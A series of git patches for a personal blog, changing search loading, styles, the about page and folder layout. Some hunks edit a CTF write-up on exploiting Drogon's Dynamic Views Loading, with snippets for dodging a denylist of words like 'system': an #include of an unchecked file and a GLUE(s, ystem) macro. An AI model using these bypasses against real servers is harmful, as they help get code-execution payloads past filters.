zVZERAKo7miONqqLxgDi>>neRLD$Eb0Ak)X40_2kVY!qth1pR>{}UG8_#6d~<4Lu=xK+}_Kxi)=RX#WR|WR=71o zrrXOWUU--qAyc0*=}o7#w_Ivo9++DU)R3nO#wIA^w@A4XsP=xQN+*#_h?F(udBcls^unfBw>n zDlBrm!Z@jQ-XXAYdHkRMXaPb`L55l+Hn{i_&h~$ek^f{-lz{O6^nagpbzSAxt2}rO zmlOfg6x;p&Mb?kFudcVSl!|Uy5b>!n@T)&0!5gZ;D-G7dDp-u9D-Bh6w13Gu(SJFO z`{*~{!_~vv-om)8KgjZe8tJ{>32Z0d&Ti4E=-AIvD=IRZd5_;HFON6nc{^n7p+{Qq z7|PPu$%(PPD*P*v7DGw}=}E2%5r_UpsFy{*?{N1mx6N8Ck8`K=m*mG# z+IWndzpm-o?z4VJRd#a8dKvUvQV!!i(=U`{m(Qb#x;v!oi1^@YAiO$~ybEEGV8~(k zkO_3oW0rE~jz_Bu*b$P_z`NDMt0GyP;ayg*uG~Xxob28W=@ofXJj{lD#$OKa+>NBl z-Wj=H>g*jWbg?u?bK~4P4`cTn$5`H0@VP>k=UFbzF6+|O!-u$KlLGZ2iZaznrixFL z8|ClsM1|8Zxo)ix+#Iahn~2W2&J~GH+WMuMI)xPem@#~D`Nq`bmpkPzpM#ub3E#W<3Zj7?=*3(({dTj2fD*YbdgQIJd}XxGrNM zJk>Bip1!()NhUQXK=blj9`u@9#Q5IB{PTYBK`qUz`ZpJyNTgP3KLz0)M@0JrT>Rbj z3>hcPOj}(<+|;8$2K;^z6f*5z8!(m1QC5zF8rxPU6obD|2iyEkP_+TgC3^iiff5IW zrAH=OR(!&>X|_S1SjVrJ?n{m873ZXO?pf^Q6F(m}eZG^s`-RwhmZz&X;X8wJ&`V4` zMI?*TIj>B8u--Z~juKa~jJDQLOaAjtLPfUSuTM71?w!74C|k}nP@(6Xwjhaau07s~ zdUO=Rxwc&$N@L>xNl=M&pgVCQ&y-~SzOoaiRO;oS9Om6ReEry?0hh=t*C!HZeLle_ zC+{ks1_kTNJW-dAlgqL$=Y70;)1B+kc(?xQ>GcdfndIxa|7!MN3CV`y|Nq8G^(TMg zr;ae*%mq%?_bttVU>=IVYD^O9NV(UYTHB(k%3xY+dGd@G3A0tAqx7ZE~du< zEL*H5bofb0xAbQn8BU=zsP0BPhaSwz9Vy5Sa1<=iHQCtEotVEl`+TQAQV_kWX6i^j zF=Ts}M`Bck*SV-P2v%|6>i;idf>gCg5}5FxUvOgtf0&U1V7D^q4d``XQJIvQwm9L7 z&z(=7^#7m2&M~}?woT(8yZ5#jCPGj5JJn!zlyZdQB z%x}*7p7}b*aorcr@v~%W&M>uhQ(YQSKN_*7uN?<1VkG0rpl1VgBNk&8G5eR_BS_%` zPu-^JjW6Py72s`hkeR-vm9wafl1BEfB+UJo%!`6FzMz=52mQ5?`=Zsh1Z5AcZYM9o@fXCkS=pPGQ76IEwq)7&r&p6Frc#153Z@Hj{e75wu%MUBBa6-jpe%Are46yPt-d_(6vpf9?6houIBle!Z6SHTHlrKZF!W8& zj1-n5IqMv+C_*V&gFU`QnQ49?Y4c%4+a@XM1oc0xnYZ1Ry?7hE`BJ|*vUR-JzTN%g zZI90Mi|~!;eSvH@7ijKGE2_mf>2PrqsOH&>NbhC+n502|CdYB0-@$1P4eT5$n98~q zan2qqvQ*mR1O;8S-yGe~q^*?JK5tav-Pq(inox8n1LE&Bua|5gY{iHOf52zkK-_?~Rbe-G-0oO}-*>Gf zs(jql_rQIWH?*fFL)j_FdBb?r*G2j~MQy#^FSlP;+;Pq;JB%vVjOgw5-@l-qzk9iR z`vUCZZHMS#xLPy)H(OqA&%pzN2Q{N_Zr<$g!Kj6(70FX_=-3dkZ^?&p=(GTN+M{GH zCkI}b74{8AWdNP!f+V>t{D2v0`1*e$Po>w!0J~<5cCqHq%a@u+;$7?B`oKqbu!Ca z!Xq0bGgx^2JvZQqDmc@|D|&$5bz_(0W1%fY-I6#aP41G~FRgmH!3lSIsYbLr=;Ux5 zs_bIOzvU)id00}iry{x$#iks3t3{^PoBU+S;uq2h;_4RMHg!g(|4I$mH3r`BXRjU; z4)n*)PrK;9ZYiKyvYi&*OUB0>no(noaal*afi2g$6B^iH{45z5og6XxB0mhHvarR* zn2dUB#3oGntIO0+W-fsC;qdJ-SAQqM10ZQQ&{@n){wodlgEImcFcHLSeY zNR}K_6q(cCP%Ybv011AMc*NQXQPqdn<+h7B8dHf$zu7dI?5Kdw17xRvZd;l^#XPGU z=~&lusD-Nz$e|E!k-o}Fa})Nt%>7y)^<1Q1P@m6z*48V(jyy|roZn>i?!H_PUG%dJ zbBcBQ^2&1vk~0Vme29gf6-?V;!w z5Zo4&t=|Zuhm9jx2HMC5bD|Js)I`OSH)6g*>wVfxs4#`CdhRxZMYY{zg9_zxz=O~! zZbAglh1Cl&5>-d33j*(?C<`)>{XI!uW@Fe>=MW!=t?^CyTF8f}gi?wUPM{#O%@yf# z7kkB$h*RQuzENg18^=05Z_>rxQu)J-1bJ_@p|5b+P1{>Q8<1u0KD>Ca4LWgor5@LP zOf(N*gbVQ9Lz9L*q37bvArfIiDlNmg?=((xwAqVkoqQ?Xs6(&V? zkp>nK0RqvOW~{buFZ4h}ZdO4_YWG(FON^sargVP}MC zI%I~=P=f&d9B7ClFw+xp?J)+zoF!x~$=k;?OTP6-Z-h!Sz8e>jqaq@BPDEZ~d{q1O%T`^2>wy&-N0V1No5nse;iVGPDmSLHy+WkYi z2?mXw#-j?D+9?)GsDLPUURj;JMXAwW^~fDP$LM1K3Z@uD1THx8UbY;51g*PH6n*r9 z&ck{Xb-EP+CMNU*y4V)0STMT7g*-%Q8TmMQwg9;iubqeh(;TW@thF-HQ)wbA;WXC4 zyIv|HSSjrj@?ouoX8af8pZ>R}x?{g=G6;63Zgu$re$c@FS$@J-&3{?(qd>IHiq|RO zHJ_;jWIKgkKXtgJ`b{+X#QLSVv2(#CF#f)ICd^NX(J{i@AM1Gx!kVF&sHHOQD{JkP zomj5DSrHdleP~NFfT1C~sfXkr?nPxAUt}Rg6}W2D%?TqeSg`{Xz;l zEAAI;>v6r<;uu?cuP0~o(lMMzbBQ^PQO`0F_%|6H!^F7`&C(|81FlQ(yq3*h3l<7V zeG&}_JT0{*t$)e@$&q5eZS!Ht!fo^8us_s)fd`S&MxVU2VMB1(aw7Q9uH9il~0l!e-UDC|mJczbfbIyw!2jbz4= z24pY%Pvpnq01;1)@c_8%YTza&6#;>+7x^m=ezl|1j16HKc8AHJ-BN^ z$jCDJx3F?XRI*fkxMJlGzyds=3aFcJ`ta{CjX6~nIP#;P;#UeRTLqANApOA8!MBT% zxA!~#WajBU?;YOaYjJ$rh91=OT`$D4{yJ%=k+XCf{i*YNBma?4`QiaMzal-C7tiOn zQ3;fN7it0{J*6-t7OET9&$P&*Hiu7+Rx>uNm9?E+CJMItxZ;Nwoa)IS4RivC^^)YH zk2^;2j%O33Lk5de>XLv(IcixCqDL~WCi-WAI#C;K&to{yxL04pwF=k)#QEl7Z^%jM zPx_FS%FK%Aqr(x+^SF)x8oB_g=c8D}c;8#5L)9=mFm&D2WOq&UAHZ@Bc{)RD(CzbC zu$wNq+cW=Autz?TfRh?NJmF`_c}&=2r`E5_#DS}`T>aLvvph+ck_pN|2^z;?>OT{$ zpuVJ5JS)%}2k|#9&O;%1nKGmV5%;I2<>zTRgA*{zl`Sop+ic&Tb(@?FQ)|F-Ek*Ie zaoMhYm8&IiN4KdV;0AJ3T1UPjKC-nsQg;`Y4zAC>*oIQjfv_> z=&pkGvST~4$aLJ)bqZsbEG;>s>YR2G6~#V7&_X#(KuK|^($k2so=KYKqecuj52p4N zh=8NPeLk%F8G98R17>Fkk-0#I9dYO4eH#50anyP@-}S^(lf-*{VK5T~!K4yDY^b8Q zN2-jsc2MrdYM3lr!yWnl$05dxy83%Z{!}) zV(tnkT8>G^Vzpw(-&OF&jFz^rYT(!(F}N7q6lz#|t8Ui`wR-)gnvL4XobG)05^jHX zdEYyEn~}GLzXciwIu`vNDUE=g~!;2U~FVm9J*Gwr`XMEwd0sT`HzGA02rmKj>u{$WC)DD5eemQmq`<%voBXRa&xIzKz zU>bbmRM7Y<9hShd(O8kBWq1e@?h#l}Ot#JTO*n-mfpt8OInm5j2$H{_TN ziJ^waS9{fFl0dqzy5^P^bjPgg-r&odu&v&8{aexQw zdTHVCf1ho=us;FIV?EhQ5X{=RxP@J7TMxiF(pD&vL&C^T4(6LTD@p0`^)cUz{Ov{5 zp3$9AB<-h~--}cs@)#j&M!0^ax!*FX(0%$ks`c!lZ?Z6yssk zHzo#bsxD@dcA)xU(hVxghfUIYxCSQt25&-*JGV`}zj=-j9qy;zu>00WNQ9fLNMr&_ z6|t7V%VXbTsz5@JpEPEuJIkcccE3c;Kff$gcE0gFU5zGBt+@!j`MBQS9?f`oaliQh z_m^*b`%}F)PsfPVcNSc)_X~%;FM$1dD2<8h&7^@a&b+sHE#;L#RP5Q#8t2tqlNV~+ zOUlCcWX`Chtp12CtplYaOlz?Mja>!`yWccsFr4;~?v) zP)3Uz8Y!@xX~))3k@*0ym*C6(XSR#`p9;^vGCXJiFFdn^rIWJ@DaS|hi&@Uh&fLX< zl#QMD|CVJ>b#(1ln$Z33D@m)E8Ic(-sbU4R7=H1%rrNC_rMl@FRnuTbRM#g`YQ}Lp z0xJ}H8FCkFcpe<08KfBg^pq> zfn}I>D!odIAeYj3SwtISynspqm6%=1q(`11Oj*ofIGa6^Zu95V?@(M~_CKM0=y|DP zI)6WZ&1N3!!&SzlGDmcf0(WNpqBd6jiPSQh6U{%&$P^oc@%N8Na=sr{pRSK_KdOaM zlR1IL{;}Pt5>jPhp|NQ5eL$ZW>vzm-i58wNP4oe@P{Ur#aC8%YOk`W!U9b=W(@>}b zQF6FY`AsM__ODP5L9F>AxMHE{v6#oEh-#{3s$Ga-JM56C6w?y{^}hmBn!#pO_&g?c z`1*9ZXjs88ISO|c486CW`^VxOifBd(afm@N1e$&sScYC(zlIE&bODW$@*zV~{g;Azgi*oU|&M|`_Y@<<)`CV{x~(x zY$>TxHks)aXQzz-bphX%gHW|2ZLn3Ee>8LN#nYvLY|?B#8TUOvi-LB2Q8P0$Ki%0R zC2P+p3Qjj@{j5UgY)8Ij!PD(iO1`!-wdS5NR*#Nm_yLb{A41_{KY@= zU}06|*m13_3X%jFt2FCS`D-(sBWm&QVE-QNN^&hTwg9yVq)srQtb}>6jP~SYi@7*U zgAe=}4SYR$`T>9v^bM;9ucA-fjtfJ)PN|wGz(E=^BI`^6-b?UDpgQ-N zIML`YzJjEfeum8(F+shNm5zYGG8qfLgY7*M+(yzI$1p&uNZDs*wQ|&aawtNv7*%Ur zX)YZ}54fhyFdp6I#rG0<#7N>joXVWxZnl}Ob`PY+9a^-LFUII zdXrS8ufSZsU&mHKOnt)4M$l$8fOly5W6+eGk*+oA!okv{&~rIq&$IXK0aoedy5u4s@m)-c^>(2&$yorutjF9Of%cr4SAl>1H8p23(e(e z6WRfT@+^dI%QRR5JuCWJ(G}UZI%uzziGn zU`qM3bnIQJ9nnvA_v00+S46ccx;R373QHh8-(+PrjSRhE0)ZUMmHS-y_t17fL&>q9 ztTmEt^eDUTyUI%LcDlH&IL_0%V5Mayo z2f__Jz$|K~6j;X@CE@~2@1{{E@-dr~PHq&nd^TTwkBF7RF!qOmrVy-)wZrB1L?+fn zK7IaLZM&HC&c`jVtknPs&y;~~c>HrIh#42_+@)4^j+03%+pVydyKJn$KE8`EuPDKALKsM$SA`C- zRXtic9}+c5jZ~5{FqE}F?1zX1?UsRYGHU2HjpmNU8J(n${7X2YW_*Xf@{cTM6lI~= zWs=nnG<#6@#espKC03%!s=9b)tXXlkrtgD3u1nb64{r zuf2kIFMnXRGKdV=*D$MW7#V(x%6~x_%%&gUMye0bENy3M=JBz?^3UrZ8~^*K6P)v&4)U6W zFc;qIqgORU{G9|f!&Go#edzM8U#v?x8%RUL#jtV;IKR%$&r9LUm-79wVpdmGuc!YL z_^m9=><5%B1D3T|DO+**`Saj)s=|CE z?_135sw{k@2x&oDp2r}YX8uW;drqxbKG0HMCnjW43BQoRJj7FhCo22aGQUPoer%4$ zOuVv@!R&Mc5rx7_4X+$DXHoD}Az`|h#lk$(XJWx%E3$1NAfJt7`ME%XgsT&fQM39{ ziAPP#>6?Yetzi{yF0qT-xF{BvX!0WquV|8LgteqcER|03ODZ0>YV{6?_Z!!U|uuD zfnhd}=hxTEf#tqLM99n@zG722KJc|-#i@fi@~mli3+gVTbZ9tBX*?A1c4^#g<9lNs zD|K>*X-afKrCcZZ@A!0Kdkm}x1nBOlR1O1TvpE#*KWPu7;+C-*L=@vWW&`UYvw3o^ z*qmr=!;Jym8$QdJc$$ppZl(ux=|-b)cJf07FZ?^ND5qe&V(CM7uHf%rwssIAfhorTA7Bnh#?IZ#HHw?#EggW zk&2v)1#pLV9uL@dePly_$>zAcF+duP!HhUM=V%A&kHUzOtJ9};wegT%XTxq8gZ8dx z=F=a^mus=~mR0Z@2+e$fe~(EQ9#*XHjW~~s@HrV8r=kizZQwWaCpiJ>;XM{U%0gJYbR-|L!dW~O>iGZnmW?nH%7*B=ZPedoIn)hgFeGDgm_pxN2CMA8ww zC*R*~RT4Am;bOawY36NEzTDT=#=`K!WOR@B57%#q>{nk;?Vg|rn!gx!cU}FbCozt* bi?Nf7hm+ZNcvd!6HV#f!cuGofMT!3a*>C}I From 5a7d67f914b24aa334d8ab5a0a35981571d6ce0b Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Thu, 15 Aug 2024 21:16:31 +0800 Subject: [PATCH 02/34] feat: load search file after search box is engaged This should save some network bandwidth for the general case where ppl don't care about searching. --- assets/js.bundle/search.js | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/assets/js.bundle/search.js b/assets/js.bundle/search.js index d5546936c..008d1b0ad 100644 --- a/assets/js.bundle/search.js +++ b/assets/js.bundle/search.js @@ -61,10 +61,10 @@ lunr.Builder.prototype.addEncoded = function (ref, fieldName, field) { } }; -$(async function () { - const searchResultIcons = site.search.resultIcons; - const searchResultDefaultIcon = site.search.resultDefaultIcon; +const searchResultIcons = site.search.resultIcons; +const searchResultDefaultIcon = site.search.resultDefaultIcon; +async function loadSearch(searchBox, resultDiv) { const store = await (await fetch('/search.json')).json(); const idx = lunr(function () { this.ref('id'); @@ -84,9 +84,6 @@ $(async function () { } }); - const resultdiv = $('#search-results-list'); - const searchBox = $('input#search-box'); - function getItemParams(i) { const item = store[i]; switch (item.type) { @@ -119,9 +116,9 @@ $(async function () { function addResults(result) { const maxResults = site.search.maxResults; - resultdiv.empty(); + resultDiv.empty(); // eslint-disable-next-line max-len - resultdiv.prepend(`

    ${result.length > maxResults ? `${maxResults}+` : result.length} result(s) found

    `); + resultDiv.prepend(`

    ${result.length > maxResults ? `${maxResults}+` : result.length} result(s) found

    `); let count = 0; for (const item in result) { @@ -137,7 +134,7 @@ $(async function () { `); - child.appendTo(resultdiv); + child.appendTo(resultDiv); count++; if (count > maxResults) { @@ -172,9 +169,16 @@ $(async function () { addResults(result); }); + + searchBox.trigger('keyup'); // Trigger a search and pre-fill results. +} + +$(() => { + const searchBox = $('input#search-box'); + const resultDiv = $('#search-results-list') - $('.modal').on('shown.bs.modal', function () { + $('.modal').on('shown.bs.modal', async function () { $(this).find('[autofocus]').trigger('focus'); - searchBox.trigger('keyup'); + await loadSearch(searchBox, resultDiv); }); }); From a427f713506a6435084592f0898e1a0f45410f7a Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 01:23:10 +0800 Subject: [PATCH 03/34] chore: slash --- .../2024-08-18-abusing-server-side-rendering-in-drogon.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md b/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md index e49a692cb..388fb05c5 100644 --- a/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md +++ b/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md @@ -15,7 +15,7 @@ related: posts: [attack-of-the-zip] # preamble: | --- -Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from [exploring zip attacks in Juce](/posts/attack-of-the-zip) to exploring an alarming configuration in Drogon: Dynamic Views Loading (hereafter abbreviated DVL). +Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from [exploring zip attacks in Juce](/posts/attack-of-the-zip/) to exploring an alarming configuration in Drogon: Dynamic Views Loading (hereafter abbreviated DVL). In a hypothetical situation where a Drogon server with DVL is exposed to hackers, how many holes can be poked? What attack vectors can be achieved?^[This situation may be less hypothetical than we think. According to Shodan, there are over 1000 servers around the world (mostly in East Asia) running Drogon. How many do you think were poorly configured, with devs thinking… “I’ll just enable Dynamic Views Loading for convenience. Nobody can find my IP anyway.” I’m willing to bet there’s at least 1.] From dbfca62e6586dc9533660a110aebd8bc72d4ee31 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 01:31:50 +0800 Subject: [PATCH 04/34] content: quick copyedit --- ...18-abusing-server-side-rendering-in-drogon.md | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md b/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md index 388fb05c5..4cd2f8932 100644 --- a/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md +++ b/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md @@ -1,5 +1,5 @@ --- -title: Dynamic Views Loading - Abusing Server Side Rendering in Drogon +title: Dynamic Views Loading – Abusing Server Side Rendering in Drogon excerpt: What could go wrong releasing a C++ web server with "live reload" into the wild? tags: - cpp @@ -21,7 +21,7 @@ In a hypothetical situation where a Drogon server with DVL is exposed to hackers At the same time, this is also a good exercise in defensive programming. If we released such a server, what (programming) defences are necessary to cover our sorry arse? When and where should we apply sanitisation and filtering? How do we properly allow “safe” programs? Is that even possible to begin with? -This turned out to be a fascinating endeavour, as there are a *ton* of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution. +This turned out to be a fascinating endeavour, as we found a *ton* of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution. {% image "assets/drogon/craft-a-ctf-web-chal.jpg", "w-60", "Every time I find an unintended solution, a new one is just around the corner." %} @@ -206,10 +206,12 @@ which generates Example.h and Example.cc. There are countless attack vectors to address. 1. **RCE via Rendered CSP.** First, we'll start by looking at a simple PoC which triggers RCE when the view is rendered. -2. **Bypasses.** We'll survey common C++ functions and tricks to bypass a denylist. +2. **Bypasses.** We'll survey common functions and tricks to bypass a denylist. 3. **RCE via Init Section.** Here, we'll trigger RCE without rendering the view. 4. **RCE via File Name.** Finally, we'll discuss a harrowing insecurity in the DVL code path. +Not all of these were exploitable in my CTF chals. I selected a few vectors which I thought were interesting. + ### 1. RCE via Rendered CSP Suppose an attacker can write any CSP content in the dynamic views path. In the simplest case where filtering or checking is non-existent, the attacker can execute malicious commands using the usual `system` and `execve` functions found in libc. This allows us to exfiltrate sensitive information and launch reverse shells. @@ -370,8 +372,6 @@ Handy Reference: [Using Inline Assembly in C/C++](https://www.codeproject.com/Ar Filters applied to a set of file extensions can be easily bypassed by uploading a file with an unfiltered extension, then `#include`-ing it in the CSP. All `#include` really does is copy-paste the included file's content, which then gets compiled as C/C++ code. -Assume .csp files are strictly checked, while all other files don't go through the same checks. - - Example.csp - with stringent checks on denied words. ```cpp <%inc #include "safe.txt" %> @@ -379,6 +379,10 @@ Assume .csp files are strictly checked, while all other files don't go through t - safe.txt - other C++ code which gets a free pass, possibly using a technique above. +This allows us to bypass situations where, say, .csp files are strictly checked, but certain extensions are not checked at all. + +I'll admit this one slipped my mind and quite a few players discovered this unintended solution in the CTF chals. + #### Bypass with Macro Token Concatenation (`##`) C/C++ macros have some quirky features: @@ -400,7 +404,7 @@ C/C++ macros have some quirky features: The second feature allows us to bypass denylists which only match full words. -For instance, if a denylist blocks `system`, we can do `GLUE(s, ystem)`. For instance: +For instance, if a denylist blocks `system`, we can do `GLUE(s, ystem)`. ```cpp <%inc #define GLUE(X, Y) X ## Y %> From b2015b5ffdfe586fe0bb48f09c18b72ea1d4bfb7 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 01:54:51 +0800 Subject: [PATCH 05/34] feat(ui): css adjustments, better-contrast highlight for dark mode, blue-tint for light mode --- assets/scss/_navbar.scss | 9 +++++++-- assets/scss/_posts.scss | 4 ++++ assets/scss/_variables.scss | 4 ++-- assets/scss/main.scss | 16 +++++++++++++--- 4 files changed, 26 insertions(+), 7 deletions(-) diff --git a/assets/scss/_navbar.scss b/assets/scss/_navbar.scss index 2a0835336..f35188997 100644 --- a/assets/scss/_navbar.scss +++ b/assets/scss/_navbar.scss @@ -9,10 +9,15 @@ header { .navbar { --bs-navbar-padding-x: 2vw !important; background-color: var(--main-background-color); - border-bottom: 1px solid var(--border-color); - box-shadow: 0 8px 20px rgba(0, 0, 0, .05); width: 100vw; + html[data-theme="light"] & { + box-shadow: 0 20px 20px rgba(0, 0, 0, .05); + } + html[data-theme="dark"] & { + border-bottom: 1px solid var(--border-color); + } + @include media-breakpoint-down(md) { --bs-navbar-padding-x: 0 !important; } diff --git a/assets/scss/_posts.scss b/assets/scss/_posts.scss index 6b0c31dd1..f7bda3264 100644 --- a/assets/scss/_posts.scss +++ b/assets/scss/_posts.scss @@ -98,6 +98,10 @@ color: var(--bold-color); } + a b, a strong { + color: inherit; + } + // Default most elements to have top margin instead of bottom margin. // *:not(ul, ol, li, hr, svg, p>a, .gist *) p, diff --git a/assets/scss/_variables.scss b/assets/scss/_variables.scss index 885e15a26..2850cafa8 100644 --- a/assets/scss/_variables.scss +++ b/assets/scss/_variables.scss @@ -88,14 +88,14 @@ html[data-theme="light"] { --accent-color-rgb: var(--link-color-rgb); --special-color-rgb: 120, 90, 200; - --main-background-color-rgb: 255, 255, 255; + --main-background-color-rgb: 235, 240, 255; --medium-background-color-rgb: 240, 240, 240; --light-background-color-rgb: 210, 210, 210; --bold-color-rgb: 0, 0, 0; --contrast-color-rgb: var(--bold-color-rgb); --highlight-color-rgb: 190, 190, 190; - --border-color-rgb: 230, 230, 230; + --border-color-rgb: 190, 190, 190; --main-text-color-rgb: 10, 10, 10; --light-text-color-rgb: 51, 51, 51; diff --git a/assets/scss/main.scss b/assets/scss/main.scss index 6725f85d1..8c083d332 100644 --- a/assets/scss/main.scss +++ b/assets/scss/main.scss @@ -73,6 +73,15 @@ $carousel-transition: transform 2s ease, opacity 1.5s ease-out .5s; @import "toc-sidebar"; +html[data-theme="dark"] { + *::selection { + background-color: #1b1b84; + } + *::-moz-selection { + background-color: #1b1b84; + } +} + .jtag { display: inline-block; margin: 3px 2px; @@ -109,7 +118,7 @@ $carousel-transition: transform 2s ease, opacity 1.5s ease-out .5s; color: var(--contrast-color) !important; --clr: var(--link-color); animation: tag-box 3s infinite; - + } &.special:hover { color: var(--contrast-color) !important; @@ -272,6 +281,7 @@ p.subheading { overflow-y: hidden; } -a.lightbox-single, .lightbox-gallery > a { +a.lightbox-single, +.lightbox-gallery > a { background-image: none; -} +} \ No newline at end of file From 91b469fc99da1b132110389306336555ebe0dc41 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 01:58:17 +0800 Subject: [PATCH 06/34] chore(ui): box shadow --- assets/scss/_navbar.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/scss/_navbar.scss b/assets/scss/_navbar.scss index f35188997..39848e121 100644 --- a/assets/scss/_navbar.scss +++ b/assets/scss/_navbar.scss @@ -12,7 +12,7 @@ header { width: 100vw; html[data-theme="light"] & { - box-shadow: 0 20px 20px rgba(0, 0, 0, .05); + box-shadow: 0 25px 15px rgba(0, 0, 0, .05); } html[data-theme="dark"] & { border-bottom: 1px solid var(--border-color); From 44581fa411284394005ca179bb1e158b2245380c Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 02:15:28 +0800 Subject: [PATCH 07/34] content: update about --- content/pages/postlike/about.md | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/content/pages/postlike/about.md b/content/pages/postlike/about.md index f4c817be3..588bb69f2 100644 --- a/content/pages/postlike/about.md +++ b/content/pages/postlike/about.md @@ -55,7 +55,7 @@ Built this website. Tada? {% tag "composition" %} -My composing journey began in Grade 10 (~中四) when my music teacher assigned composition homework. Not only that—he introduced us to interesting composition techniques and took us on a tour analysing Joe Hisashi's Studio Ghibli music. Since then, I've been writing down ideas and organising them into coherent pieces. +My composing journey began in Grade 10 (~中四) when my music teacher assigned composition homework. Not only that—he introduced us to interesting composition techniques and took us on a (theoretical) tour analysing Joe Hisashi's Studio Ghibli music. Since then, I've been writing down ideas and organising them into coherent pieces. In uni, I picked up electronic music composition (mixing/production) during a course taught by Prof. Timothy Page. @@ -208,4 +208,10 @@ Moreover, I want the site to be hackable (in the open-source sense) and approach #### Why did you choose Eleventy as your site generator? -See [Site Migration to Eleventy](/posts/site-migration-to-eleventy/). +- Framework-independent. +- Nunjucks is a more powerful templating language compared to Liquid, so I get to iterate more quickly. Pains here are Nunjuck macros don't work with async (contributing to longer build times), and error message interop with Eleventy is hard to decipher. +- Loads of decent Eleventy plugins by decent folks. +- JS and Node are mature ecosystems, so some libraries just work™. The only major pains are import styles (ESM vs. CommonJS) and bloat (libraries/tooling). +- Active community/development. + +See also: [Site Migration to Eleventy](/posts/site-migration-to-eleventy/). From d35d22f7068051fe87c693d6311d0d021c08bb71 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 02:25:02 +0800 Subject: [PATCH 08/34] chore: reorganise content into logical groups --- .../2024-02-15-attack-of-the-zip.md | 10 +++++----- .../assets/attack-of-the-zip-thumbnail.jpg} | Bin .../assets}/evil-zip-unveiled.jpg | Bin .../assets}/unzip42.jpg | Bin .../assets}/yikes-its-a-zip-bomb.jpg | Bin .../you-guys-apply-hardening-question-mark.jpg | Bin ...utomating-boolean-sql-injection-with-python.md | 6 +++--- .../assets/automating-boolean-sqli-thumbnail.png} | Bin .../assets}/login-success.png | Bin .../assets}/progress-bar.png | Bin ...-18-abusing-server-side-rendering-in-drogon.md | 14 +++++++------- .../assets}/craft-a-ctf-web-chal.jpg | Bin .../drogon-dynamic-view-loading-defence.png | Bin ...ogon-dynamic-view-loading-exec-on-filename.png | Bin .../drogon-dynamic-view-loading-exec-on-init.png | Bin ...drogon-dynamic-view-loading-exec-on-render.png | Bin .../assets}/drogon-dynamic-view-loading.png | Bin .../assets}/drogon-thumbnail.png | Bin .../2024-05-23-optimising-web-icons-for-fun.md | 12 ++++++------ .../assets}/cache-busting-works-in-browser.png | Bin .../cloudflare-create-cache-busting-rule.png | Bin .../assets}/cloudflare-set-browser-ttl.png | Bin .../assets}/fonts-are-pretty-heavy.jpg | Bin .../assets/optimising-web-icons-thumbnail.png} | Bin .../assets}/y-server-no-fast.jpg | Bin 25 files changed, 21 insertions(+), 21 deletions(-) rename content/posts/infosec/{writeup-likes => attack-of-the-zip}/2024-02-15-attack-of-the-zip.md (98%) rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip/thumbnail.jpg => attack-of-the-zip/assets/attack-of-the-zip-thumbnail.jpg} (100%) rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip => attack-of-the-zip/assets}/evil-zip-unveiled.jpg (100%) rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip => attack-of-the-zip/assets}/unzip42.jpg (100%) rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip => attack-of-the-zip/assets}/yikes-its-a-zip-bomb.jpg (100%) rename content/posts/infosec/{writeup-likes/assets/attack-of-the-zip => attack-of-the-zip/assets}/you-guys-apply-hardening-question-mark.jpg (100%) rename content/posts/infosec/{writeup-likes => automating-boolean-sqli}/2024-08-10-automating-boolean-sql-injection-with-python.md (98%) rename content/posts/infosec/{writeup-likes/assets/automating-sqli/bbb-sqli-thumbnail.png => automating-boolean-sqli/assets/automating-boolean-sqli-thumbnail.png} (100%) rename content/posts/infosec/{writeup-likes/assets/automating-sqli => automating-boolean-sqli/assets}/login-success.png (100%) rename content/posts/infosec/{writeup-likes/assets/automating-sqli => automating-boolean-sqli/assets}/progress-bar.png (100%) rename content/posts/infosec/{writeup-likes => drogon-csp}/2024-08-18-abusing-server-side-rendering-in-drogon.md (95%) rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/craft-a-ctf-web-chal.jpg (100%) rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading-defence.png (100%) rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading-exec-on-filename.png (100%) 